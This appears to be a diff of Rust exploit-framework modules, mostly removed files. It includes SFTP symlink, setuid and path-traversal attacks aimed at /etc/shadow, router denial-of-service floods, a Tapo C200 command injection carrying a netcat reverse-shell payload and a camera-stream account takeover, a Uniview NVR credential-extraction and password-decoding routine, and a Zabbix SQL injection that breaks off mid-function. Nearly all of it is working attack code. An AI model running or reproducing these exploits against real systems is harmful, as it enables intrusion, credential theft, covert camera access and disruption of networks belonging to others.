let traversal_paths = vec![
target_path.to_string(),
format!("../../../..{}", target_path),
format!("....//....//....//..../{}", target_path),
format!("/..{}", target_path),
format!("/./{}", target_path),
];
for path in &traversal_paths {
println!("{}", format!("[*] Trying: {}", path).cyan());
match sftp.open(Path::new(path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", "[VULN] Path traversal successful!".red().bold());
println!();
let preview: String = content.chars().take(200).collect();
println!("{}", preview);
println!();
// Explicit session cleanup
drop(sess);
return Ok(true);
}
}
Err(e) => {
let err_str = e.to_string();
if err_str.contains("Permission denied") {
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
} else if err_str.contains("No such file") {
println!("{}", "[*] File not found".dimmed());
} else {
println!("{}", format!("[*] Blocked: {}", e).dimmed());
}
}
}
}
println!("{}", "[-] Path traversal blocked".yellow());
// Explicit session cleanup
drop(sess);
Ok(false)
}
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
///
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
pub async fn attack_sftp_partial_write(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
println!("{}", "[*] Testing partial write scenarios...".cyan());
// Test 1: Large write that might be split
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
match sftp.create(Path::new(&test_file)) {
Ok(mut file) => {
match file.write_all(&large_data) {
Ok(_) => {
// Verify write completed
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(size) = stat.size {
if size as usize == large_data.len() {
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
} else {
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
return Ok(true);
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[*] Write test: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Create failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
println!("{}", "[*] Partial write testing complete".cyan());
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
Ok(false)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Symlink Injection (read sensitive files)");
println!(" 2. Setuid Bit Attack (privilege escalation)");
println!(" 3. Path Traversal (escape chroot)");
println!(" 4. Partial Write Test (race condition)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "5").await?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
let target_file = prompt_default("Target file to read", "/etc/passwd").await?;
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
}
"2" => {
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"3" => {
let target_path = prompt_default("Target path", "/etc/passwd").await?;
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
}
"4" => {
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
println!();
println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
println!();
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
println!();
println!("{}", "--- Attack 4: Partial Write ---".cyan());
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SFTP attack module complete".green());
Ok(())
}
-3
View File
@@ -1,3 +0,0 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
pub mod tplink_tapo_c200;
@@ -1,133 +0,0 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use colored::*;
use crate::utils::normalize_target;
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
// Use framework's normalize_target utility - removed custom implementation
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ TP-Link VN020-F3v(T) Denial of Service Exploit ║".cyan());
println!("{}", "║ CVE-2024-12342 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", "[!] This module will NOT stop automatically.".yellow());
println!("{}", "[!] Type 'stop' and press ENTER to terminate the attack.".yellow());
}
/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target(raw_target)?;
print_banner();
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -1,157 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use serde_json::json;
use crate::utils::{prompt_required, prompt_default, normalize_target};
use std::time::Duration;
/// TP-Link Tapo C200 IP Camera Command Injection (CVE-2021-4045)
///
/// Exploits a command injection vulnerability in the `setLanguage` method
/// to achieve RCE or takeover the RTSP stream.
pub async fn run(target: &str) -> Result<()> {
print_banner();
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
let url = format!("https://{}:443/", target_ip);
println!("{} Target URL: {}", "[*]".blue(), url);
// Initial check
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()?;
// Select mode
println!("\nSelect Exploit Mode:");
println!("1. Reverse Shell (RCE)");
println!("2. RTSP Stream Takeover");
let mode = prompt_default("Selection", "1").await?;
match mode.as_str() {
"1" => exploit_shell(&client, &url, &target_ip).await?,
"2" => exploit_rtsp(&client, &url, &target_ip).await?,
_ => println!("{} Invalid selection", "[!]".red()),
}
Ok(())
}
async fn exploit_shell(client: &Client, url: &str, target_ip: &str) -> Result<()> {
println!("\n{}", "=== Reverse Shell Mode ===".cyan().bold());
let attacker_ip = prompt_required("Attacker IP (LHOST)").await?;
let port_str = prompt_default("Attacker Port (LPORT)", "1337").await?;
let port: u16 = port_str.parse().context("Invalid port number")?;
println!("{} Preparing payload...", "[*]".blue());
println!("{} Please ensure you have a listener running: {} {}", "[!]".yellow(), "nc -lvnp", port);
let _ = prompt_default("Press ENTER when listener is ready...", "").await;
// Payload construction
// rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f
let reverse_shell = format!(
"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f",
attacker_ip, port
);
let payload = format!("';{};'", reverse_shell);
let json_body = json!({
"method": "setLanguage",
"params": {
"payload": payload
}
});
println!("{} Sending malicious request to {}...", "[*]".blue(), target_ip);
// We expect a timeout or disconnect if the shell works efficiently,
// or just a response. We'll send it and not strictly check success
// because the camera server might hang or crash.
let res = client.post(url)
.json(&json_body)
.send()
.await;
match res {
Ok(r) => {
// If we get a response, print status.
// Note: success in RCE often means NO response or a timeout.
println!("{} Request sent. Status: {}", "[+]".green(), r.status());
},
Err(e) => {
println!("{} Request sent (Error: {}). If the shell spawned, this is normal.", "[*]".yellow(), e);
}
}
println!("\n{} Check your listener!", "[+]".green().bold());
Ok(())
}
async fn exploit_rtsp(client: &Client, url: &str, target_ip: &str) -> Result<()> {
println!("\n{}", "=== RTSP Takeover Mode ===".cyan().bold());
let rtsp_user = prompt_default("New RTSP Username", "pwned1337").await?;
let rtsp_pass = prompt_default("New RTSP Password", "pwned1337").await?;
// Calculate MD5 of password as required by the device
// python: hashlib.md5(RTSP_PASSWORD.encode()).hexdigest().upper()
let md5_pass = format!("{:x}", md5::compute(rtsp_pass.as_bytes())).to_uppercase();
// Default ciphertext from PoC (appears to be static/compatible)
let ciphertext = "RUW5pUYSBm4gt+5T7bzwEq5r078rcdhSvpJrmtqAKE2mRo8bvvOLfYGnr5GNHfANBeFNEHhucnsK86WJTs4xLEZMbxUS73gPMTYRsEBV4EaKt2f5h+BkSbuh0WcJTHl5FWMbwikslj6qwTX48HasSiEmotK+v1N3NLokHCxtU0k=";
// UCI commands
let cmd_chain = format!(
"uci set user_management.third_account.username={};uci set user_management.third_account.passwd={};uci set user_management.third_account.ciphertext={};uci commit user_management;/etc/init.d/cet terminate;/etc/init.d/cet resume;",
rtsp_user, md5_pass, ciphertext
);
let payload = format!("';{}'", cmd_chain);
let json_body = json!({
"method": "setLanguage",
"params": {
"payload": payload
}
});
println!("{} Injecting RTSP configuration...", "[*]".blue());
let res = client.post(url)
.json(&json_body)
.send()
.await
.context("Failed to send exploit request")?;
if res.status().is_success() {
println!("{} Exploit executed successfully!", "[+]".green().bold());
println!("------------------------------------------------");
println!("RTSP Stream: rtsp://{}/stream2", target_ip);
println!("Username: {}", rtsp_user);
println!("Password: {}", rtsp_pass);
println!("------------------------------------------------");
println!("{} You can verify with: ffplay rtsp://{}:{}@{}/stream2", "[*]".blue(), rtsp_user, rtsp_pass, target_ip);
} else {
println!("{} Unexpected response: {}", "[-]".red(), res.status());
}
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ TP-Link Tapo C200 Command Injection (CVE-2021-4045) ║".cyan());
println!("{}", "║ Modes: Reverse Shell / RTSP Stream Account Takeover ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -1,154 +0,0 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
use anyhow::{Result, Context};
use base64::{engine::general_purpose, Engine as _};
use colored::*;
use reqwest::{header::HeaderMap, Client};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::normalize_target;
const DEFAULT_PORT: u16 = 8082;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan());
println!("{}", "║ Crashes router web server via crafted ping request ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Internal function to send crafted request to crash router
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Normalize the IP for correct URL formatting
let ip = normalize_target(ip)?;
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow());
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold());
let body = response.text().await.unwrap_or_default();
if !body.is_empty() {
println!("{}", body);
}
} else {
println!(
"{}",
format!("[-] Request completed with status code: {}", response.status()).yellow()
);
}
// Check if the host is still up — timeout after 1 second
println!("{}", "[*] Checking if target is still reachable...".cyan());
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
}
_ => {
println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold());
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_str)
.await
.context("Failed to read port")?;
let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT);
print!("{}", "Enter username: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut username = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut username)
.await
.context("Failed to read username")?;
let username = username.trim();
print!("{}", "Enter password: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut password = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut password)
.await
.context("Failed to read password")?;
let password = password.trim();
if username.is_empty() || password.is_empty() {
println!("{}", "[-] Username and password are required".red());
return Err(anyhow::anyhow!("Username and password are required"));
}
execute(target, port, username, password).await
}
-1
View File
@@ -1 +0,0 @@
pub mod uniview_nvr_pwd_disclosure;
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Normalize URL (scheme, IPv6 brackets, port, path)
// Note: This module uses custom URL normalization to preserve scheme and path
// Framework's normalize_target is for host:port only, so we keep custom implementation
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("{}", "[*] Getting model name and software version...".cyan());
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("{}", format!("[+] Model: {}", model).green());
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("{}", "\n[*] Getting configuration file...".cyan());
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!();
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!();
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod zabbix_7_0_0_sql_injection;
@@ -1,229 +0,0 @@
//! Zabbix 7.0.0 SQL Injection - CVE-2024-42327
//!
//! This module exploits a time-based SQL injection vulnerability in Zabbix API
//! that allows arbitrary SQL execution and potential remote code execution.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2024-42327
//! - **Affected Versions**: Zabbix 7.0.0
//! - **Attack Vector**: SQL injection in API endpoints
//! - **Impact**: Information disclosure, potential RCE
//!
//! ## Usage
//! ```bash
//! run exploit zabbix/zabbix_7_0_0_sql_injection <target_url>
//! ```
//!
//! The module supports:
//! - Loading SQL payloads from file (`sql_payloads.txt`)
//! - Custom SQL payload input
//! - Default SLEEP-based payload for time-based detection
//!
//! ## Security Notes
//! - Proper error handling with context messages
//! - Input validation for user-provided payloads
//! - Timeout handling for all requests
//! - Secure credential handling
//! - Uses utils.rs for target validation and prompts
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::time::Duration;
use crate::utils::{
normalize_target, prompt_default, prompt_int_range,
};
const HEADERS: &str = "application/json";
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan());
println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Validate and normalize the target URL
fn validate_target_url(target: &str) -> Result<String> {
let trimmed = target.trim();
// Check if it looks like a URL
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
// Already has scheme, validate the host part
if let Ok(url) = url::Url::parse(trimmed) {
if let Some(host) = url.host_str() {
// Validate the host using normalize_target
let _ = normalize_target(host)?;
return Ok(trimmed.to_string());
}
}
return Err(anyhow!("Invalid URL format: {}", trimmed));
}
// No scheme - treat as host:port and add https://
let normalized = normalize_target(trimmed)?;
Ok(format!("https://{}", normalized))
}
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// Login to get the token
println!("{}", "[*] Attempting to authenticate...".cyan());
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1,
"auth": null
});
let login_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&login_data)
.send()
.await
.map_err(|e| anyhow!("Login request error: {}", e))?;
let login_response_json: serde_json::Value = login_response
.json()
.await
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
println!("{}", "[+] Authentication successful".green());
// SQLi test using the provided payload
println!("{}", "[*] Testing for SQL injection vulnerability...".yellow());
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
});
let start = std::time::Instant::now();
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&sqli_data)
.send()
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let elapsed = start.elapsed();
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
